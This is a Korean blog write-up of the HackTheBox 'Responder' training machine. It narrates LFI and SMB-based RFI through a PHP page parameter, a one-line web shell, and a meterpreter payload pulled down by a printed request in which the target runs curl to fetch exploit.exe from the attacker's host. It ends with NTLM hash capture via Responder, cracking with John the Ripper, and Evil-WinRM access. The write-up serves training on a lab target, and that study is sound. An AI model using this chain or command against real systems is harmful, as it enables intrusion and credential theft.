[HTB] Responder

쥬스몬·2022년 4월 12일
0

HackTheBox

목록 보기
1/37

Hack the box의 Starting Point 중 Responder 문제를 해결하는 과정을 기록

HTB의 첫번째 포스팅이다. 이번 문제의 타이틀은 Responder로 80포트가 열려있는 대상을 확인했다.

접근 시 unika.htb라는 도메인으로 리다이렉션되며 연결이 불가능하다.

hosts 파일에 ip와 도메인을 등록하고 접근하면 접근 가능하다 😎

Wappalyzer로 Apache/PHP/Windows Server 인것을 확인할 수 있었다.

소스코드를 보면 index.php의 page 파라미터를 통해 언어 별 페이지를 로드하는것으로 확인된다.

디렉터리 트레버셜 구문을 넣을 경우 에러 페이지가 노출되며 웹루트 디렉터리는 "C:\xampp\htdoc" 인것으로 파악된다.

메인 페이지 소스코드에서 정상 경로로 파악되는 css의 경로를 삽입하면 css 코드가 불러와진다 (LFI!😏)

Windows LFI를 테스트하기 위해 hosts 파일을 가져와 LFI를 통해 시스템 파일에 접근 가능한 것을 확인하였다.

LFI를 통해 시스템 파일에 접근할 경우 Windows 항상 소스코드를 뒤지는 방법 외에 가능한 부분을 몰라 소스코드를 통해 추가 익스플로잇을 접근하였다.
(SAM 파일도 다운받을 수 있었으면 좋았을 텐데...😥)

그렇다면 RFI는 가능할까? 웹서버를 열고 phpinfo를 출력하는 php파일을 업로드하여 page 파라미터에 전달하였지만 안타깝게도 php.ini 설정 상 "allow_url_include = 0" 으로 적용되어있어 RFI가 불가능하였다.

여기서 samba를 통해 RFI를 한다면 "allow_url_include = 0"는 우회할 수 있을 것으로 생각하고 samba smb를 구축후 page파라미터에 접근했다. BOOOM!🔥

GET 파라미터의 값을 system함수에 입력하고 echo하는 원라인 웹쉘 php 코드를 RFI한 결과이다.

이 테스팅 머신의 목표는 Administrator 계정의 패스워드를 크랙하는것이다. 지금 생각나는건 metasploit으로 metapreter shell을 만들어 mimikatz를 로드하는것밖에 생각나지 않는다...🙄

Kali에서 reverse_tcp 페이로드를 이용하여 exploit.exe파일을 만들고 python3를 이용해 웹서버를 띄웠고 아래와 같은 요청으로 exploit.exe를 다운로드 시켰다.
http://unika.htb/index.php?page=//10.10.14.121/rfi/exploit.php&c=curl 10.10.14.121:8000/exploit.exe -o exploit.exe

dir명령으로 공격 대상 서버의 웹루트 디렉터리를 확인해보니 exploit.exe가 다운받아져있다😎

다운로드 받은 exploit.exe를 실행시키기 전 handler를 띄운다. 오랜만에 띄워본다...

공격 대상에 exploit.exe을 실행 시켜 meterpreter shell을 획득했으며 sysinfo 명령의 결과로 아래와 같이 출력된다.

mimikatz와 kiwi를 모두 시도해도 system권한이 없는 등등의 이유로 패스워드 크랙이 불가능했다(내가 잘 못하는것같다😥)

난황에 빠지던중 엄청난 도구인 Responder를 발견하게됐다.
이 도구는 다양한 종류의 공격을 지원하지만 여기서는 악의적인 SMB서버를 구축하여 NTLM 인증을 수행할때 NTLM Hash를 탈취한다.

Hash를 탈취했으니 john the ripper를 통해 크랙해보았다🤩

Windows 계정 및 패스워드를 알게됐다면 Evil-WinRM이라는 도구로 쉘을 획득할 수 있다.

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글